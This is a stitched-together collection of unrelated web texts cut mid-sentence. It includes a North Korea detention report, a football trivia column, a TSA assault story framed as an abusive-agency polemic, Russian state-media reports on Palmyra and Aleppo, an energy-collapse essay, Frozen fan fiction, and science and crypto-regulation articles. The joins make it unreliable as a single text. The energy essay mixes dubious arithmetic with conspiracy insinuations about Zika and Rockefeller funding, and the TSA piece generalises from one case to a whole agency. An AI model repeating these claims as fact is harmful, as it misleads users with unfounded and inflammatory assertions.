The Korean Central News Agency said authorities were investigating him for committing acts inconsistent with the purpose of a tourist visit. It did not give details.
"American citizen Jeffrey Edward Fowle entered the DPRK as a tourist on April 29 and acted in violation of the DPRK law, contrary to the purpose of tourism during his stay," KCNA reported, referring to the country's official name, the Democratic People's Republic of Korea.
The U.S. State Department, which last month warned Americans against traveling with private tour operators to North Korea, said it was aware of the reported detainment but did not confirm it.
"There is no greater priority for us than the welfare and safety of U.S. citizens abroad. We have no additional information to |
1984 by the late Roger Browse and is believed to have been the first such program in the world.
Software Development students are highly recruited by banks to work in fields of security, network, data, quality assurance and graphic design analysis.
Computing and the Creative Arts is home to the Human Media Lab — which is one of a kind nationwide.
Game Development students have their work showcased in the annual Creative Computing Fair. And Wall Street is currently shifting its models to include algorithms that students in Computing and Mathematics work on.
Through these programs, the School of Computing fulfills Queen’s mandate to be an innovative and research intensive institution.
Above everything, Queen’s has the highest percentage of women enrolled in a computer science program in the nation, with more than 33 per cent, while the average in other computer science programs is 20 per cent.
Computer Science isn’t a socially awkward man coding or playing World of Warcraft in his mom’s basement.
Computer Science is a discipline that’s changed the way we transfer and analyze information and communicate. Computer Science will continue to grow and more industries will adopt a technological and digital focus. Industries like banking, medicine, consulting, automotive, film, sports, gaming, among others, have begun to adapt to the age of computers and a digital world.
It’s time for Queen’s to do the same. Computer Science is here to stay and now is the time to support its development and the School of Computing.
Support us in continuing to innovate and find ground-breaking research. Support the teaching and education of this science by hiring new professors. Because through professors we will be able to learn and master current concepts, concepts that when applied will change the world around us.
Computer Science is here to stay. Is Queen’s ready?
Max Garcia is a third-year Cognitive Science major and COMPSA president.Plus: most headed goals in one season; mirroring a high score in the return fixture; more runaway goalscorers; and did Newton discover gravity at Portman Road? Send your questions and answers to knowledge@theguardian.com or tweet us @TheKnowledge_GU
“In an interview before the Capital One Cup final, Kolo Touré said he would ‘take Out’ his brother Yaya if required,” begins Ian Baker. “This got me pondering whether there has been any notable accounts of a brother getting red-carded for a particularly nasty tackle against on sibling?”
I have a little black book with two players in it, and if I get a chance to do them I will. I will make them suffer before I pack this game in. If I can kick them four years over the touch line, I will.
So said Jack Charlton, scourge of shinbones in the 1960s and 1970s. It would be a great story if one of those two players had been his brother Bobby, but that wasn’t the case. As you can imagine, examples of extreme sibling rivalry in football are rare. But there was a beauty in Ecuador in December 2014, when Emelec won the Primera A title by beating SC Barcelona in a two-legged play-off.
Sometimes water can be thicker than blood – but not as thick as Barcelona’s Alex Bolanos was on that day. Frances Coquelin’s stupidity in north London on Saturday has nothing on this. Barcelona had drawn the first leg 1-1 at home to Emelec. Bolanos was already on a yellow card in the second leg when, after only 10 minutes, he sent his brother Miller flying with a tackle that was more than a little overzealous. Bolanos was sent off, and Miller went on to score twice in Emelec’s 3-0 victory.
“My first foul on my brother I don’t think merited a yellow card because he dived. For the second one, I just mistimed my tackle,” said Alex. “I just allowed the adrenaline of wanting to avoid defeat at all costs, of winning this final, of reaching glory, get to me and it just didn’t happen.” Miller replied: “In the football pitch, there’s no such thing as family, we all want to win. Now that the match has finished, I stand by him.”
HEADS UP
“When Klaus Fischer scored 24 goals for Schalke in the 1976-77 Bundesliga season, an amazing 75% (18 goals) were from headers,” Graham Clayton points out. “Has any other player scored so many headed goals in a top-flight domestic league season?”
Twelve of Cristiano Ronaldo’s 498 goals in La Liga last season were headers. Not bad, but nowhere near Klaus Fischer. However, David Warriston has found a contender or two from the land of the heid.
“No official figures I’m afraid, but in his last season in Scotland Alan Gilzean scored 52 goals in all competitions for Dundee,” writes David. “Gillie was an outstanding header of a ball (he outjumped Gordon Banks to score the Scotland winner that year at Hampden) and since usually over half of his goals came from headers, it is almost certainly the case that he scored more than 18 headers in all. In fact of his 32 league goals it is likely that more than 18 were headers.
“A similar case can be made for Alan Gordon, a player not known much outside Scotland but who played in a similar style to Gilzean. In the 1972-73 season he scored 42 goals for Hibernian, 27 of them in the league. Like Gilzean, most of his goals came from headers; in fact he scored a hat trick of headers in a match against Dundee that season.”
SAME AGAIN
“St Albans City beat Whitehawk 6-0 at home on Saturday, having lost by the same scoreline away to Whitehawk earlier this season,” writes Andrew Levey. “Has there ever been a bigger scoreline mirrored between two teams in a season?”
Runaway leading goalscorers in a single football season | The Knowledge Read more
There has indeed, Andrew. Alasdair Munro points out that Charlton and Plymouth beat each other 6-4 in the 1960-61 season. Not only that, but the matches were on consecutive days, 26 and 27 December.
An even more striking example comes from Dirk Maas. “In the 1983-84 Eredivisie season, FC Utrecht managed to overcome a 4-1 deficit at half-time. They scored six times in the second half. The same season they paid a visit to Rotterdam, hometown of Excelsior, the team that couldn’t maintain the 1-4 lead in Utrecht. On their own soil, the Excelsior players took revenge. They beat their opponents by exactly the same scoreline as in their previous meeting: 7-4.”
RUNAWAY LEADING GOALSCORERS IN A SINGLE SEASON (2)
In last week’s super soaraway Knowledge, we looked at strikers who were miles clear of the second top scorer in their league. Clayton Freeman has another example.
“It comes from Mexico in 2002-03,” notes Clayton. “Two seasons were played (Apertura from July to November, Clausura from January to May, with 19 matches each). During that span, Toluca’s Paraguayan striker José Saturnino Cardozo achieved dizzying feats. In the Apertura 2002 season, Cardozo scored 29 goals in 19 matches, far ahead of Atlante’s Sebastián González (13 goals). In the Clausura, Cardozo repeated as top scorer, tallying 21 goals with González again following behind with 16. Thus, Cardozo scored 50 goals in those 38 matches, 21 ahead of González. Cardozo also scored six more goals in six matches during the Apertura’s Liguilla, the postseason knockout tournament in which Toluca won the championship.”
Facebook Twitter Pinterest Paraguay’s José Cardozo: particularly big in 2002-03. Photograph: Mike Hewitt/Getty Images
KNOWLEDGE ARCHIVE
“Is it true that the apple tree which assisted Newton’s discovery of gravity was situated in what is now Ipswich Town’s car park?” asked Aidan Rush in 2002. “I’m sure I saw this on a television programme once but of course no one believes me.”
It’s a nice legend, Aidan, but it’s not correct. As Dennis O’Neill pointed out: “The actual apple tree, or to be exact its stump, remains in the garden of Woolsthorpe Manor, Newton’s home just south of Grantham. It lived for a couple of hundred years, but was apparently blown down by high winds a few decades ago,” he added. “What remains is still there.”
For thousands more questions and answers take a trip through the Knowledge archive
CAN YOU HELP?
“On hearing about Leicester fans and their seismic goal celebrations, I got to wondering if there had been other reports of football causing earthquakes,” wonders Justin Cavendish.
“In Liverpool’s 3-0 win over Manchester City last week, the three goalscorers (Lallana, Milner and Firmino) were also the three ‘assisters’,” emails Hijaaz Peerbocucs. “Surely this is the first time that this has happened in the Premier League with three or more players?”
“I’m looking for Zizous and Jürgen Kohlers – ie, players who were sent off in their final game before retirement,” tweets Nils Henrik Smith.
“Which player has scored on more than one of their birthdays?” asks Simon Cook.
“Crystal Palace have not won any of their last 12 games,” writes Jeremy Nash. “What’s the longest winless run of a team that has survived in a top flight?”
“One I’ve long thought about since hearing the commentator introduce the fact: in the final Edinburgh Derby of last season (Hibs v Hearts, Easter Road, Sunday 12 April), of the 22 starting players, 21 had scored a league goal that season, only Hearts goalkeeper Neil Alexander failing to register,” muses Rob Mackie. “All of the four subs had goals to their names too, making 25 of the 26 players goalscorers in the 2014-15 season. Can anyone think of a game where either all 22 starters had scored, or even a game where more than 25 players featured who had also registered a league goal that season?”
“In the European Cup in 1961-62, Tottenham Hotspur were losing 4-0 in the first leg against Gornik Zabrze,” notes Paul Wolf-Light. “They subsequently scored two to make it 4-2 on the night, and then won the second leg 8-1. Has any team managed a greater or similar turnaround from 0-4 to 10-5 in European competition? If not, what is the next best?”
Send your questions and answers to knowledge@theguardian.com or get in touch via Twitter @TheKnowledge_GUKEY LARGO, Fla. - A Monroe County Sheriff's Office deputy is accused of falsifying his time sheets to reflect that he was working when he was not.
Deputy William Schlegelmilch, 44, was arrested Wednesday as the result of an internal investigation.
Sheriff's spokeswoman Becky Herrin said investigators determined that Schlegelmilch recorded more work time on his electronic time sheets than he actually worked. She said the deputy did so at least 22 times between March 2015 and April 2017.
"It is our job to protect and serve the people of this county by arresting those who break the law. That includes members of our own agency, when they choose to do so," Sheriff Rick Ramsay said. "It is, in particular, my responsibility to be a good steward of the funds our citizens pay for our service. I will not tolerate my own employees stealing from and defrauding the very people we are charged with protecting and serving."
Herrin said the fraudulent time recorded totaled $3,073.
The deputy faces two felony charges of grand theft and falsifying public documents. He is suspended without pay pending termination.
Schlegelmilch has been assigned to Key Largo School since he was hired in July 2008. Herrin said his annual salary at the time of his suspension was $57,889. He previously worked for the agency from 2002 to 2006.
Copyright 2017 by WPLG Local10.com - All rights reserved.TSA worker in uniform flashes badge, allegedly rapes woman
Paul Joseph Watson
Prison Planet.com
Tuesday, November 22, 2011
Yet another example of a TSA agent engaging in rampant criminality and believing themselves to be above the law emerged yesterday, when 52-year-old TSA worker Harold Glen Rodman allegedly approached a woman in full uniform before flashing his badge and proceeding to brutally rape and sodomize her.
“Police arrested Rodman on Nov. 20. He is charged with aggravated sexual battery, object sexual penetration, forcible sodomy and abduction with intent to defile,” reports ABC 7 News.
“Police said the victim reported that she and a friend were in the 10500 block of Winfield Loop in Manassas when the suspect approached them. The suspect flashed a badge and sexually assaulted the victim before fleeing on foot, police said.”
The Transportation Security Administration confirmed that Rodman worked for the agency but refused to say where or in what capacity.
As we have documented, this certainly not the first time a TSA agent has abused their position of authority to wantonly break the law.
Earlier this year, a TSA agent in Connecticut was charged with harassment after he posed as a cop by flashing his badge at a woman in an attempt to intimidate her into driving faster.
This is by no means restricted to two isolated incidents. Every week brings a new TSA horror story. Given the epidemic of harassment, criminality and abuse that TSA agents have been caught engaging in both on the job and off-duty, it’s not surprising that the rollout of an army of TSA agents to provide “security” at every level of American society, from train stations to bus terminals, from highways to high school proms, is stoking concerns that the federal agency is set to become the de facto “civilian national security force” that Barack Obama promised in his pre-election speech.
A d v e r t i s e m e n t
There’s a whole army of TSA workers who think that because they are given a shiny badge and a blue uniform that makes them above the law and allows them to engage in criminal acts and sexual deviancy. That they think they can get away with intimidating the public into following their every order, even to the point of sexual assault, underscores the mindset of a nation fast sinking into an authoritarian police state.
What kind of training must the feds be giving TSA agents to produce such a prolific streak of criminality and abuse of power? Or on the other hand is it more to do with the fact that sexual deviants and criminals are attracted to a job that allows them to fondle and abuse women and children?
Either way, such stories illustrate what an odious and reprehensible agency the TSA has become and why it should be completely abolished, especially considering the fact that these state-hired goons are now roaming bus terminals, train stations and highways. If you think you can avoid this by not flying, think again.
The fact that scandal and criminal behavior involving TSA agents continually gets swept under the carpet while the establishment media ignores the clear evidence that this is an epidemic of abuse illustrates the reality that the TSA is designed to be an occupying force whose primary role is to oppress and abuse the American people.
*********************
Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show.
This article was posted: Tuesday, November 22, 2011 at 4:39 am
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Comment on this articleA Russia-drafted resolution on the role of UNESCO in restoring the devastated ancient city of Palmyra back to its former glory has been unanimously approved by the organization. The initiative comes as Russian sappers along with the Syrian Army work to revive the city.
The proposed document outlines the steps the organization is to take to return the site to its original state. The resolution titled “On the role of UNESCO in restoring and preserving Palmyra and other Syrian cultural heritage sites” was approved unanimously during the organization’s 199th session which is currently taking place in Paris.
Russia’s Permanent Delegate to UNESCO Eleonora Mitrofanova said the project is both of “practical” and “symbolic” importance.
READ MORE: Missing monuments: Before & After pics of Palmyra show what ISIS has destroyed
“The symbolism lies in the fact that having reached consensus on the issue means we are showing our unanimous solidarity to the people of the Syrian Arab Republic, suffering from the war. As for practical sense, it shows that we express our willingness to unite our forces and means necessary to restore and preserve Palmyra and other Syria’s World heritage sites,” Mitrofanova said.
She praised the voting results, saying they are a “huge victory.” Since the mooted document is “consensual” and focuses on the interests of the Syria’s World heritage sites, all the nations have voted in its favor, even those “that have a totally different outlook on the Syrian conflict”, she stressed.
The Russian delegation introduced the proposal to UNESCO Executive Board last Friday. The 199th session opened in Paris on April 4 and is set to last until April 15.
what's left of the Temple of Bel :( #Palmyra A photo posted by Lizzie Phelan (@lizzie_phelan) on Mar 29, 2016 at 8:58am PDT
Although the feeling of liberation is in the air, a lot needs to be done before the city is set back on track and can return to the normal course of events. The problems include the lack of electricity and water, not to mention the risk of encountering mines. Just recently Russian engineers have combed around 180 hectares in the city (about two square kilometers), defusing some 3,000 bombs, the Russian Defense Ministry reported.
“Beginning April 1, over 30 kilometers of roads and more than 182 hectares of land have been demined; 2,987 explosive objects have been unearthed,” Russian Defense Minister Sergey Shoigu said at a teleconference at the National Defense Control Center.
Drone shows ancient Palmyra relics following end of IS siege https://t.co/1RUPDIB1Y2https://t.co/DdW5ObmhPm — Ruptly (@Ruptly) 31 марта 2016 г.
A field hospital has been set up to ensure the safety of locals slowly returning back home while humanitarian aid has been underway from Russian military.
“Footage shown on television recently shows our troops organizing the baking of bread. What we do is try to make life easier for the common people, so that they can breathe in and feel this truce,” Russia’s deputy defense minister, Anatoly Antonov said. “Enough with war, it’s time to build a new Syria.”
An RT journalist Lizzie Phelan was one of the first to set foot on the ground just a few days after the city’s liberation.
“There are craters in the ground all around this ancient site,” Phelan mentioned as she took a walk around Palmyra. “These were caused by landmines laid by ISIS and the soldiers said that most of the fighters they lost were due to these mines, which were often laid between stones to make them blend in,” she added.
READ MORE: ‘Palmyra damage monstrous, but mendable’: Experts accept challenging task to restore ancient city
Having been under jihadists’ occupation for almost a year Palmyra, a UNESCO World heritage site,was seriously damaged and lost a number of its unique monuments. Sadly, the city’s current appearance is totally incomparable to how it once looked before it was turned into an epicentre of the war.
However, locals seem to express hope that not everything is lost.
“The walls, the windows, and the door are also still there, and that’s enough for me to get my family ready to return to Palmyra,” a local resident said.
Experts also confirmed to RT that there indeed remains a chance the city could be restored.
“The damage done to Palmyra architectural monuments is enormous, but it has not been razed to the ground completely. The main symbol of the city, the famous columns, they are standing, and we now have to inspect the site accurately to determine what else is left there,” the director of the Hermitage Museum in St. Petersburg Mikhail Piotrovsky told RT.
#breathtaking #Palmyra A video posted by Lizzie Phelan (@lizzie_phelan) on Mar 29, 2016 at 9:05am PDT
Meanwhile, the deputy director of Russia’s State Museum of Oriental Art, Tigran Mkrtychev, told RT that the international community must do its bit to help restore Palmyra because it is an important artifact for all humankind, not only the Syrian people.
“If we approach this issue strategically and make this monument a certain consolidation of the forces of the East and the West in restoration of the monument of a global importance, it [Palmyra] can become a ‘brand’ which will unite Eastern and Western civilizations for years to come,” he stressed.
Palmyra has been under jihadists’ occupation since May of 2015. The Syrian Army backed by Russian forces managed to recapture the city on March 27th, an event largely viewed as a victory and turning point in the war against terrorists.
A number of remarkable monuments including the Arch of Triumph, the Temple of Baalshamin and the iconic 2,000-year-old Bel Temple were left in ruins. The City of Palms has been left partly devastated and ridden with explosive devices.Many say we can have 100% renewable energy by 2050. This is factually incorrect.
We can have 100% renewable electricity production by 2050.
But electricity production is only 18% of total world energy demand.
82% of total world energy demand is NOT electricity production.
The other 82% of the world’s energy is used to extract minerals to make roads, cement, bricks, glass, steel and grow food so we can eat and sleep. Solar panels and wind turbines will not be making cement or steel anytime soon. Why? Do you really want to know? Here we go.
TWED = Total World Energy Demand
18% of TWED is electrical grid generation.
82% of TWED is not electrical grid generation.
In 20 years, solar & wind energy is up from 1% to 3% of TWED.
Solar & wind power are projected to provide 6% of TWED by 2030.
When you hear stories about solar & wind generating
50% of all humanity’s electrical power by 2050,
that’s really only 9% of TWED because
100% of electrical production is 18% of TWED.
But, it takes 10X as much solar & wind energy to close 1 fossil fuel power plant simply because they don’t produce energy all the time.
Reference Link: http://www.nature.com/nclimate/journal/v2/n6/full/nclimate1451.html?WT.ec_id=NCLIMATE-201206
Reference Link:
https://citizenactionmonitor.wordpress.com/2015/12/27/renewable-energy-hope-or-hype/
That means it will take 10 X 18% of TWED to close all fossil power plants with intermittent power.
Research says it will take 4 X 82% of TWED for a 100% renewable energy transition. But then again, whoever trusts research?
10 X 18% + 4 X 82% = 100% Renewable TWED.
CONCLUSION:
We require 10X the fossil electrical grid energy we use now just to solve 18% of the emissions problem with solar & wind power. This also means that even if we use 100% efficient Carbon Capture and Storage (CCS) for all the world’s electricity generation, we would still only prevent 18% of our emissions. 100% efficient CCS is very unlikely. Switching to electric vehicles would only double electrical demand while most of our roads are made out of distilled oil sludge.
These figures do not include massive electrical storage and grid infrastructure solar & wind require. Such infrastructure is hundreds of millions of tons of materials taking decades to construct, demanding even more energy and many trillions of dollars. With that kind of money in the offing, you can see why some wax over-enthused.
Solar & wind systems last 30 years meaning we will always have to replace them all over the world again 50% sooner than fossil power plants.
Solar and wind power are an energy trap.
It takes 1 ton of coal to make 6-12 solar panels.
Business As Usual = BAU
In 15 years 40% of humanity will be short of water with BAU.
In 15 years 20% of humanity will be severely short of water.
Right now, 1 billion people walk a mile every day for water.
In 60 years humanity will not have enough soil to grow food says Scientific American. They call it, “The End of Human Agriculture.” Humanity’s soil is eroding and degrading away at 24 million acres per year. And, when they say 60 years they don’t mean everything is wonderful until the last day of the 59th year. We will feel the heat of those words in much less than 30 years. Soil loss rates will only increase with severe droughts, storms and low-land floods. Here’s what BAU really looks like.
50% of humanity’s soil will be gone in 30 years.
50% of humanity will lack water in 30 years.
50% of humanity will go hungry in 30 years.
A 100% TWED transition takes 50 years minimum. It is a vastly more difficult and complex goal than you are told.
Reference Link:
http://www.theguardian.com/environment/2016/feb/12/four-billion-people-face-severe-water-scarcity-new-research-finds
Reference Link:
http://www.scientificamerican.com/article/only-60-years-of-farming-left-if-soil-degradation-continues/
We are losing earth’s soil and fresh water faster than we can effect 100% renewable TWED.
In 25 years civilization will end says Lloyds of London and the British Foreign Office.
In my opinion, in 30 years we won’t have enough fossil fuel for a 100% renewable TWED transition.
This is the most important fact I’ve learned:
Renewable Energy is Unsustainable
without massive energy demand destruction
Humanity will destroy its soil and water faster than we can switch to renewable energy with BAU. We cannot sustain economic growth with renewable energy. Without massive political-economic change, civilization will collapse with 100% certainty. But, don’t worry, I like to fix things.
Animal Agriculture = AA
Humans + Livestock = 97% of the weight of all land vertebrate biomass
Humans + Livestock = 80% of the cause of all land-air extinctions
Humans + Livestock = 50% of the use of all land surface area
Humans + Livestock = 40% consumption of all land plant growth *
* Net Primary Production.
50% of the soy grown in South America is shipped over to China to feed their pigs. Rainforests and deep-rooted scrub are cleared to grow animals & feed so that their required fresh water is in reality a sky river exported in boats to China and Europe leaving little moisture in the air to reach São Paulo. Since rainforest roots are so thick they don’t require very much, or even good, soil; this leaves rainforest soil so poor and thin that it degrades and erodes faster when exposed to the elements.
The Himalayan mountains are heating 2X faster than the planet and many fear that China will run out of water in 15 years by 2030.
50% of China’s rivers have vanished since 1980.
60% of China’s groundwater is too poisoned to touch.
50% of China’s cropland is too poisoned to safely grow food.
Animal Agriculture will destroy our soil and water long before we can effect 100% intermittent TWED transition with BAU.
BAU means 7 billion people will not stop eating meat and wasting food without major $$$ incentive. Meaning a steadily rising carbon tax on meat. Just saying that can get you killed in some places.
Without using James Hansen’s 100% private tax dividends to carbon tax meat consumption out of the market earth will die. 100% private tax dividends means 100% for you, 0% for government.
100% for you,
0% for gov.
The funny thing is that meat and fire saved our ancestors from extinction and now meat and fire will cause mass extinction of all the life we love on earth. Survival is not an optional menu item as is eating meat. We have to act now, not 5 years from now, or forever be not remembered as the least greatest generation because there’ll be no one left to remember us.
Michael Mann says we will lock-in a 2 degree temperature rise in 3 years for 2036 with BAU. Ocean fish will be gone in less than 25 years simply because of the BAU of meat consumption. The BAU of fishing kills everything in its path producing lots of waste kill. We are stealing all the Antarctic Ocean’s krill just to sell as a health supplement. You can learn a lot about fishing by watching “Cowspiracy” on Netflix.
We cannot let governments get control of carbon markets like how Sanders, Klein and McKibben want government to get 40% of your carbon tax dividend money. Naomi Klein and Bill McKibben are funded by the Rockefellers. Klein’s latest video about herself was funded by the oil-invested Ford Foundation. This is 100% in direct opposition to James Hansen’s tax dividend plan and immoral. Hansen said that governments should get 0% of that money, not 40%. I strongly believe your carbon dividends should be in a new open-source world e-currency directly deposited to your phone to be phased in over 10 years. But, I’m kinda simple that way.
Google: Rockefellers fund Bill McKibben. Believe me, the Rockefellers don’t fund 350.org out of the kindness of their hearts. To learn why they would do such a thing, you can watch the educational video at the bottom of this page.
Reference Link:
Rockefellers behind ‘scruffy little outfit’
Reference Link:
http://www.nybooks.com/articles/2014/12/04/can-climate-change-cure-capitalism/
James Hansen repeated at COP21 that his 100% private carbon tax dividends would unite Democrats and Republicans because government would be 100% excluded. Socialists like Sanders, Klein and McKibben want government to control 40% of that money. They are divisive and Republicans will never accept their revolutionary rhetoric. We don’t have time for this endless fighting. Forget the Socialist vs. Capitalist mentality. We barely even have time to unite, and nothing unites like money. Environmentalism in the 21st century is about a revolving door of money and power for elite socialists and capitalists. Let’s give everyone a chance to put some skin in the game.
Reference Link: http://grist.org/climate-energy/sanders-and-boxer-introduce-fee-and-dividend-climate-bill-greens-tickled-pink/
What humans & livestock have done so far:
We are eating up our home.
99% of Rhinos gone since 1914.
97% of Tigers gone since 1914.
90% of Lions gone since 1993.
90% of Sea Turtles gone since 1980.
90% of Monarch Butterflies gone since 1995.
90% of Big Ocean Fish gone since 1950.
80% of Antarctic Krill gone since 1975.
80% of Western Gorillas gone since 1955.
60% of Forest Elephants gone since 1970.
50% of Great Barrier Reef gone since 1985.
40% of Giraffes gone since 2000.
30% of Marine Birds gone since 1995.
70% of Marine Birds gone since 1950.
28% of Land Animals gone since 1970.
28% of All Marine Animals gone since 1970.
97% – Humans & Livestock are 97% of land-air vertebrate biomass.
10,000 years ago we were 0.01% of land-air vertebrate biomass.
Humans and livestock caused 80% of land-air vertebrate species extinctions and occupy half the land on earth. Do you think the new 2-child policy in China favours growth over sustainability? The Zika virus could be a covert 1% population control measure for all I know. Could the 1% be immune? I don’t know, but I know this…
1 million humans, net, added to earth every 4½ days.
http://www.vox.com/2016/1/30/10872878/world-population-map
Spot The Solar Fig Leaf That Will Cover China’s Environmental Degradation
Learn why the Rockefellers fund Bill McKibben and Naomi Klein.
You may well wonder how I know all this, and I would like to tell you that when my dog Loki licks my face during a hangover I can hear his mind talking to space angels, but the reality is that I’m an old man who cuts grass in a trailer park in Canada and there’s not too much else to think about, so take it from me, you can search any statement, but just don’t get bogged down so you can’t see the forest for the trees.
Here is a more detailed post I wrote early 2015. https://www.reddit.com/r/collapse/comments/311m7d/collapse_data_cheat_sheet/
Here’s a bunch of stuff I wrote on the collapse sub-reddit where I sooner or later provide a lot of supporting links for my arguments.
https://www.reddit.com/user/BeezleyBillyBub/
Reference Link: Wadhams slays the Q&A @ 1:15:30!!!
Ode to a Matrix Clone
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Anna would never admit it, but there were a few things she had forgotten about Elsa. Some were tiny things that she didn’t mind relearning about, like how Elsa preferred early mornings to late evenings or that she tended to start with one thing on her plate and finished it off before moving on to the next thing. Then there were the flaws, the little quirks that made her human.
Her temper for one, how long it took for it to boil. But how once it did she would be seething for days, trying to bottle it all up inside but choking that grudge. Or how she got all snooty when she was offended. Worse, how she had a habit of hiding the chocolate.
After thirteen years Anna had kinda started to put Elsa up on a pedestal as this perfect aspiring queen. With each day Elsa somehow managed to switch from that high pedestal to this dais. Becoming a more approachable sister instead of Her Majesty Queen Elsa, first of her name. However, along with those aspects Anna was quick to realize that Elsa was, in fact, a stinker.
It had been hinted at during the ball, Elsa leaving her to the mercies that was horrid ballroom dancing. It became much more obvious as they became more comfortable with each other. Then it had been confirmed when the prank war started.
It had started out innocently enough; Anna had switched out salt for the sugar in Elsa’s sugar pot. She had panicked when she realized that Elsa had scheduled an ambassadorial meeting during tea time. Anna thanked her lucky stars that it was a lady that didn’t take sugar, preferring her tea straight. That had her sweating for a good twenty minutes.
Elsa had even managed to finish her tea with two spoons of ‘sugar’ with a straight face, an achievement for sure. One that only grew even more amusing when Elsa gave her the stink eye behind the ambassador’s back. After years of being ignored it was glorious, and reminded her of all the memorable times when she and Elsa had fought as children. Anna only smiled sweetly, asking her sister if she wanted another cup; with two spoons of ‘sugar’ of course and a splash of cream as she usually took it.
Either it was the smug smile, or the second cup of tea, but it seemed to have sparked the need for petty revenge.
That revenge came a week later, just when she had thought the whole mess forgotten. Anna had thought that, surely, Elsa would be too mature to retaliate? She had underestimated just how much of a stinker Elsa was.At least 17 people were killed by heavy gunfire and about a dozen more were rounded up and executed after hundreds of civilians trying to leave eastern Aleppo protested against the rebel blockade of exit routes, the Russian Defense Ministry said.
Some 500 civilians took part in several protests in the rebel-occupied eastern part of Aleppo on Thursday, and at least 200 of them were trying to reach the Syrian government-controlled area at the time they were violently dispersed with live fire, Russian Defense Ministry spokesman Igor Konashenkov said.
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“The militants dispersed the demonstration, shooting at the protesters from a heavy machine gun and then mined all the approaches to the checkpoint and placed snipers on the roofs of nearby houses,” Konashenkov said, as quoted by Sputnik news agency.
“Seventeen people died at the site, including two teenagers of 13 and 15 years of age, over 40 people were wounded,” he added.
Upon quelling one of the rallies, militants launched a hunt for the presumed organizers of the protests, the ministry spokesman said.
“Terrorists detained about 10 men, who they held to be ‘organizers’ of the riots, and drove them away in an unknown direction. They were shot dead the same evening,” Konashenkov said.
Syrian army makes gains in Aleppo offensive – Russian MoD https://t.co/scFrSFiyAG — RT (@RT_com) November 16, 2016
On Wednesday, the Defense Ministry’s spokesman said that about 1,500 civilians had taken to the streets of eastern Aleppo to protest against the militants’ occupation. Unconfirmed footage has emerged online in which people can be seen chanting slogans and calling on the local council to take action against the rebel groups.
Tuesday’s demonstrations were also violently suppressed by the militants, who killed and injured dozens of people, Konashenkov said, citing intelligence.
Civilians in the rebel-held part of the city are believed to be held as human shields as the humanitarian situation and drastic food shortages worsen. The terrorists have mined the streets approaching the humanitarian corridors to prevent civilians from using them to leave and threaten to kill any who defy their orders.
If Washington had ceased pursing its agenda in Syria a year ago, the situation that exists in Aleppo today would never have arisen, investigative journalist |
the sugar, picked it up in an official car and sprinkled in the middle of the four approaches to Nova Zagora." But he added that it was primarily a symbolic gesture. "We just want people here and throughout Bulgaria to be more sensible and to drive carefully."
Image copyright BNT Image caption Four roads into the town have had the sugar treatment
While there is a longstanding link between politics and superstition in Bulgaria, the Standart newspaper points out that local elections are on the horizon, and the sugar-sprinkling could just be a campaign stunt. But folk traditions are certainly alive in the area. The town was home to a famous "prophetess", Slava Sevryukova, and the mayor recently unveiled a monument dedicated to another local soothsayer, "Grandpa" Vlaicho Zhelev, in a nearby village.
Not everyone is amused, however. Father Silvester, a priest from nearby Sliven who has long campaigned against fortune-tellers, says Mr Grozev's acts run counter to Orthodox Christian teachings. And he thinks the stunt could prove costly to the town, telling Standart: "This will lead to lower crop yields in Nova Zagora, mark my words."
Next story: Hungary university makes Holocaust class mandatory
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.A new study by researchers finds a striking connection between schizophrenia and autism.
“If we hadn’t known that these were two different diseases, and had put all the mutations into a single analysis, it would have come up with very similar networks,” said Dennis Vitkup, Ph.D., associate professor at Columbia University Medical Center.
“It shows how closely the autism and schizophrenia genetic networks are intertwined,” he added.
The study provides new insight into the molecular causes of schizophrenia. It also suggests that mutations associated with schizophrenia, autism, and probably many other psychiatric disorders, most likely come together in certain molecular processes.
Using an unbiased collection of hundreds of mutations linked to schizophrenia, the Columbia researchers applied a computational approach to discover hidden relationships among seemingly unrelated genes.
The researchers gathered the strongest mutations that had been observed in schizophrenia research.
The program uncovered two genetic networks. Genes in the first network are involved mainly in axon guidance, synapse function, and cell migration. Genes in the second network are involved in chromosomal organization and remodeling.
Parts of both networks are extremely active during fetal development, suggesting that changes in the brain that cause schizophrenia in early adulthood may begin very early in life.
Vitkup then compared his schizophrenia networks with networks found in neurodevelopmental disorders such as autism. One schizophrenia network is closely related to an autism network he described in a previous study. Both networks include genes involved in axon guidance, synapse function and cell migration.
“Our recent mutational analysis showed that this overlap includes primarily genes that are important for early fetal development. This is not surprising, because some cases of schizophrenia and likely many cases of autism have neurodevelopmental origin,” said Maria Karayiorgou, M.D., of Columbia.
This raises an intriguing question: How can mutations in the same or related genes cause two separate disorders?
“I like to use the analogy of car brakes,” said Vitkup. “Different mechanical malfunctions of the brake mechanism can have very different functional consequences, from rapid acceleration to stalling.”
Vitkup looked at large mutations called copy number variants (CNVs) that can lead to either schizophrenia or autism.
In CNVs involved in the growth of dendrites, or dendritic spines, found at the ends of neurons, he discovered that a decrease in growth was more common in schizophrenia and an increase in growth more common in autism. “That’s consistent with what’s been found by postmortem brain studies,” he said.
Vitkup predicts that many more genes involved in schizophrenia and autism will eventually be identified — possibly up to 1,000 genes for each disorder — but a significant fraction of them will likely fall into the networks and pathways identified in the current study.
“Until a few years ago, people were looking for just a handful of genes responsible for autism and schizophrenia, so the idea that many hundreds of genes are involved is a big change in thinking,” said Vitkup.
“Our study and the studies of our collaborators suggest that in the search for the causes of complex genetic disorders, it will be more productive to look for common pathways and gene circuits than for a handful of causal genes. This type of network analysis gives us a way to begin to make sense of what’s happening.”
“To uncover all of the processes and molecular pathways involved in schizophrenia and related disorders, more gene searches are clearly necessary,” he said. “By looking at individuals with schizophrenia who are born into families with no history of the disorder, we can identify de novo mutations that are likely to have caused their disorder.”
The research is published in the online edition of the journal Nature Neuroscience.
Source: Columbia University Medical Center
Study Highlights Genetic Likeness of Autism, SchizophreniaThe final version of the BitLicense [PDF] is out and it has failed to address our two top concerns: an overbroad definition of virtual currency business activity and an unprecedented and discriminatory state-level anti-money laundering regime. Our consolation today is that the future’s looking bright on the other coastline. The current draft of California’s equivalent legislation, AB 1326, is much better than the BitLicense.
Here’s New York’s definition of virtual currency business activity:
